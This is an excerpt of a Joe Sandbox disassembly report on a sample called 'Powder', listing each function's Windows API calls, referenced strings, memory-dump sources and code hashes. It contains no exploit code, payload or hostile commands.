MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E5E3CB
SysAllocString.OLEAUT32(00000000), ref: 00E5E3CE
SysAllocString.OLEAUT32 ref: 00E5E3EF
SysFreeString.OLEAUT32 ref: 00E5E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00E5E412
SysAllocString.OLEAUT32(?), ref: 00E5E420

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b4b47014288a91bd9df176fc64bdaf63a4acbcacbe12f4be3a429a75dbe004e0
Instruction ID: a9860d4aeae75643a7e98ab0d9c5c7fe0e343b3a6b6d43949d3d057cfd07e451
Opcode Fuzzy Hash: b4b47014288a91bd9df176fc64bdaf63a4acbcacbe12f4be3a429a75dbe004e0
Instruction Fuzzy Hash: B421CB32605104AFAB149FB9DC88CBF77ECEB08361B408566FD15EB360D670ED458764

Function 00E87BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E0214F
Part of subcall function 00E02111: GetStockObject.GDI32(00000011), ref: 00E02163
Part of subcall function 00E02111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E0216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00E87C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00E87C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00E87C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00E87C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00E87C8A

Strings

Msctls_Progress32, xrefs: 00E87C28

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: f8acb2c5284a30bf29d3b98b1be4a613526acfdf0d71f01baa8b8ba6c21ead5f
Instruction ID: 1cf22947cf69d4c4ffd7ea392d1dcc29e9ef1500b41b3d9f37ac800dc601b7fa
Opcode Fuzzy Hash: f8acb2c5284a30bf29d3b98b1be4a613526acfdf0d71f01baa8b8ba6c21ead5f
Instruction Fuzzy Hash: 841190B2140219BEEF159F61CC85EE7BF5DEF08798F115115BB48B2090CB729C21DBA0

Function 00E241B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00E24282,?), ref: 00E241D3
GetProcAddress.KERNEL32(00000000), ref: 00E241DA
EncodePointer.KERNEL32(00000000), ref: 00E241E6
DecodePointer.KERNEL32(00000001,00E24282,?), ref: 00E24203

Strings

RoInitialize, xrefs: 00E241C2
combase.dll, xrefs: 00E241CE

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 375e317b2c79c725f0ed3c0923fab2bca40dcdbb2411282f7be70c3c8a01a511
Instruction ID: 5b7cef0af690109c7758bb6f2bc0830ae7e782ef5cefd04c6ab14456fb376dd8
Opcode Fuzzy Hash: 375e317b2c79c725f0ed3c0923fab2bca40dcdbb2411282f7be70c3c8a01a511
Instruction Fuzzy Hash: 8FE01A72692B11AFDF115F73EC4DF883664AB12B0AFA05426B481F50F0CBB6608E8F00

Function 00E2428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00E241A8), ref: 00E242A8
GetProcAddress.KERNEL32(00000000), ref: 00E242AF
EncodePointer.KERNEL32(00000000), ref: 00E242BA
DecodePointer.KERNEL32(00E241A8), ref: 00E242D5

Strings

RoUninitialize, xrefs: 00E24297
combase.dll, xrefs: 00E242A3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 9455253360ce42cf75a4ddc4b656ccf51785bba22db195b23a3fe6fa1fb56455
Instruction ID: 2ecedd02d5716510ba476b45cc06ca835c657adb0458ef1c5197a4dee6f66704
Opcode Fuzzy Hash: 9455253360ce42cf75a4ddc4b656ccf51785bba22db195b23a3fe6fa1fb56455
Instruction Fuzzy Hash: 04E0B6B2552B00EFDB119B63ED0DF443AA4BB00B06FA41126F001F50F0CBF6668DCA10

Function 00E0218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00E021B8
GetWindowRect.USER32(?,?), ref: 00E021F9
ScreenToClient.USER32(?,?), ref: 00E02221
GetClientRect.USER32(?,?), ref: 00E02350
GetWindowRect.USER32(?,?), ref: 00E02369

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 0aad28aee7c5d73adb1b33efd0cfd0e14dc5ae5903dd9ed08f1774994a99df94
Instruction ID: 6a3e19989f3de53a6586d94f9e6d31242184c2f5b05fbfbd23b0b49895673b6e
Opcode Fuzzy Hash: 0aad28aee7c5d73adb1b33efd0cfd0e14dc5ae5903dd9ed08f1774994a99df94
Instruction Fuzzy Hash: DAB16E3990024ADBDF10CFA9C9887EDB7F1FF04314F14A129EE59AB255DB34A990CB54

Function 00E66A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E66BC6
_memmove.LIBCMT ref: 00E66B01

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

_memmove.LIBCMT ref: 00E66B74
_memmove.LIBCMT ref: 00E66C5B
_memmove.LIBCMT ref: 00E66C74
_memmove.LIBCMT ref: 00E66C90

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 91b22efea5fb5511936fcdc1f4d591dd095d5c323522926b26b0e4f33ee0f7a3
Instruction ID: d4c4937ca34b43bf3a5942764344d736ccfcb8ddce17decd5a6b6076d82cc5bd
Opcode Fuzzy Hash: 91b22efea5fb5511936fcdc1f4d591dd095d5c323522926b26b0e4f33ee0f7a3
Instruction Fuzzy Hash: 1461BBB121069AABCF11EF60D882EFE77A8AF05388F046558F9557B2D2DB309D45CB50

Function 00E80844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E8147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E8040D,?,?), ref: 00E81491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E8091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E8095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00E80980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00E809A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00E809EC
RegCloseKey.ADVAPI32(00000000), ref: 00E809F9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 1e1b30f8992ceb0d114c7f00f9e64eb083ffb270074b7bae250447669b0ce510
Instruction ID: 7e27b1b407a1d686ecedcf7491249994fc75cd880ca5fc044cb920551a0fb738
Opcode Fuzzy Hash: 1e1b30f8992ceb0d114c7f00f9e64eb083ffb270074b7bae250447669b0ce510
Instruction Fuzzy Hash: E0518C71208200AFD714EF64C885EAFBBE9FF84314F04591DF599A72A2DB31E949CB52

Function 00E85DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00E85E38
GetMenuItemCount.USER32(00000000), ref: 00E85E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00E85E97
GetMenuItemID.USER32(?,?), ref: 00E85F06
GetSubMenu.USER32(?,?), ref: 00E85F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00E85F65

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 3f961243c482fa4ca93be566b48f3ae72b79760df3f375fe81f6fcec98cb03c0
Instruction ID: 267030692274691fe7071cde4610fcd751efc8353e129e65f25d00d5fd63ef96
Opcode Fuzzy Hash: 3f961243c482fa4ca93be566b48f3ae72b79760df3f375fe81f6fcec98cb03c0
Instruction Fuzzy Hash: 95517F76A01A25AFCB11EF64C945AAEB7F5EF48310F10505AF919BB391CB30AE41CB91

Function 00E5F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E5F6A2
VariantClear.OLEAUT32(00000013), ref: 00E5F714
VariantClear.OLEAUT32(00000000), ref: 00E5F76F
_memmove.LIBCMT ref: 00E5F799
VariantClear.OLEAUT32(?), ref: 00E5F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00E5F814

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 914caf18a3997c2111fb76cdfa643d1bf7d2f22b2a8326beeae1b67fded3d387
Instruction ID: c3d1666153a1e0b2f7a3b9857833bd1eca5b8517309aa7a7be6fce740b849439
Opcode Fuzzy Hash: 914caf18a3997c2111fb76cdfa643d1bf7d2f22b2a8326beeae1b67fded3d387
Instruction Fuzzy Hash: 8C514CB5A00209EFDB14CF58C894AAAB7B8FF4C354B15856AED59EB300D730E955CFA0

Function 00E629B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E629FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E62A4A
IsMenu.USER32(00000000), ref: 00E62A6A
CreatePopupMenu.USER32 ref: 00E62A9E
GetMenuItemCount.USER32(000000FF), ref: 00E62AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00E62B2D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 5e06af9bb63d0f05adc06f804c152603d8f2c14e55f86a5b6fb77cbafa0a9858
Instruction ID: 33b7442a51ae201b0795d779299f8492cc2cbc9289eff0a926402cfab56d1ada
Opcode Fuzzy Hash: 5e06af9bb63d0f05adc06f804c152603d8f2c14e55f86a5b6fb77cbafa0a9858
Instruction Fuzzy Hash: 4351B170A40B09DFCF25CFA8E888AAEBBF4EF44398F14511EE911B7291D7B09944CB51

Function 00E01B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00E01B76
GetWindowRect.USER32(?,?), ref: 00E01BDA
ScreenToClient.USER32(?,?), ref: 00E01BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00E01C08
EndPaint.USER32(?,?), ref: 00E01C52

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 356348dd677c14a8648973d4e790b746a8ae5b575d82ddf15ccf84967d79fcc3
Instruction ID: a875b7ccf3be6bf1d4aca3322fe102917f022c08df2c23a37453ef07abdeaa9d
Opcode Fuzzy Hash: 356348dd677c14a8648973d4e790b746a8ae5b575d82ddf15ccf84967d79fcc3
Instruction Fuzzy Hash: 2441B231104300AFD711DF25DC88FBA7BE8EB45364F1405AAFAA5AB2E1C7319889DB61

Function 00E77788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00E7550C,?,?,00000000,00000001), ref: 00E77796

Part of subcall function 00E7406C: GetWindowRect.USER32(?,?), ref: 00E7407F

GetDesktopWindow.USER32 ref: 00E777C0
GetWindowRect.USER32(00000000), ref: 00E777C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00E777F9

Part of subcall function 00E657FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65877

GetCursorPos.USER32(?), ref: 00E77825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00E77883

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 19c4bf04c77b97d4f81e23d1494885367b734e62d459920cf8ec363d382cb256
Instruction ID: e0b1203507a5dba40889c021a8a88c6d449a9aaee17425c2f4eadb7f1cbdcad0
Opcode Fuzzy Hash: 19c4bf04c77b97d4f81e23d1494885367b734e62d459920cf8ec363d382cb256
Instruction Fuzzy Hash: F731E172608315AFD724DF14D849F9BB7E9FF88314F00591AF599A7181CB30E918CBA2

Function 00E59431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E58CDE
Part of subcall function 00E58CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E58CE8
Part of subcall function 00E58CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E58CF7
Part of subcall function 00E58CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E58CFE
Part of subcall function 00E58CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E58D14

GetLengthSid.ADVAPI32(?,00000000,00E5904D), ref: 00E59482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00E5948E
HeapAlloc.KERNEL32(00000000), ref: 00E59495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00E594AE
GetProcessHeap.KERNEL32(00000000,00000000,00E5904D), ref: 00E594C2
HeapFree.KERNEL32(00000000), ref: 00E594C9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 21b798c417d52553bc556eb0e7795a3a7420b4dd3ea92e054caf40398bcbe4c5
Instruction ID: 8052b59e94b4ad46bab7b1945d35a318afc540d50df9da070f75399f0edfbc54
Opcode Fuzzy Hash: 21b798c417d52553bc556eb0e7795a3a7420b4dd3ea92e054caf40398bcbe4c5
Instruction Fuzzy Hash: 9D11CD32501204EFDB108BA5CC49BEE7BAAEB41316F10881AEC51E3211C7359D09CB60

Function 00E591CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00E59200
OpenProcessToken.ADVAPI32(00000000), ref: 00E59207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00E59216
CloseHandle.KERNEL32(00000004), ref: 00E59221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00E59250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00E59264

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 522c79eff8585e7769bd32daf7c81ce216636965fccc86cbf2ad75cb03e9f3ef
Instruction ID: f672d05b2294623a471fa025623200d486f465d6cf720eeed2b8733838e13041
Opcode Fuzzy Hash: 522c79eff8585e7769bd32daf7c81ce216636965fccc86cbf2ad75cb03e9f3ef
Instruction Fuzzy Hash: 2F11477250120AEFDF018FA4ED49BDE7BA9EB08319F044416FE04B2161D3729D68EB60

Function 00E5C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00E5C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00E5C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E5C366
ReleaseDC.USER32(00000000,00000000), ref: 00E5C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00E5C385
MulDiv.KERNEL32(000009EC,?,?), ref: 00E5C397

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 3f8a19af9f3e8cbef4a2c3aa834390262d47412ddc17bbab715c3c1793fb3853
Instruction ID: 408cce52dc05eb808b7c3c47905e0d767fca9299c07a7554dcb11ce3e8cc88ad
Opcode Fuzzy Hash: 3f8a19af9f3e8cbef4a2c3aa834390262d47412ddc17bbab715c3c1793fb3853
Instruction Fuzzy Hash: 97012175E00318BFEB109BA69C49A5ABFB8EF48751F1044A6FE04B7281D6709914CFA0

Function 00E8C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00E016CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E01729
Part of subcall function 00E016CF: SelectObject.GDI32(?,00000000), ref: 00E01738
Part of subcall function 00E016CF: BeginPath.GDI32(?), ref: 00E0174F
Part of subcall function 00E016CF: SelectObject.GDI32(?,00000000), ref: 00E01778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00E8C57C
LineTo.GDI32(00000000,00000003,?), ref: 00E8C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00E8C59E
LineTo.GDI32(00000000,00000000,?), ref: 00E8C5AE
EndPath.GDI32(00000000), ref: 00E8C5BE
StrokePath.GDI32(00000000), ref: 00E8C5CE

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

